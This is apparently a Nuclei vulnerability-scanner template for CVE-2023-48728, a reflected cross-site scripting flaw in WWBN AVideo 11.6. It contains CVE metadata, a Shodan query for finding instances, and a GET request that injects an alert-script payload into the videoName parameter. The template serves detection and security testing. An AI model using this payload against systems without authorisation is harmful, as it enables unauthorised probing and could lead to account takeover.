id: CVE-2023-48728

info:
  name: WWBN AVideo 11.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A reflected XSS vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff, allowing arbitrary Javascript execution.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information or account takeover.
  remediation: |
    Sanitize and validate user input to prevent XSS attacks.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1883
    - https://nvd.nist.gov/vuln/detail/CVE-2023-48728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-48728
    cwe-id: CWE-79
    epss-score: 0.02268
    epss-percentile: 0.81304
    cpe: cpe:2.3:a:wwbn:avideo:3c6bb3ff:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wwbn
    product: avideo
    shodan-query: html:"AVideo"
  tags: cve,cve2023,avideo,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/functiongetOpenGraph.php?videoName=123+--><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "OpenGraph no video")'
          - 'status_code == 200 || status_code == 500'
          - 'contains(header, "text/html")'
        condition: and
# digest: 4a0a00473045022100ef5fe24e2edbdb430f393969cc3310444a2002c47546b9416ad204d244d9df5002207feb12d09b2eadffbd751add0e7f0d6ba705ed67210c683ee2a1af11b226ab56:922c64590222798bb761d5b6d8e72950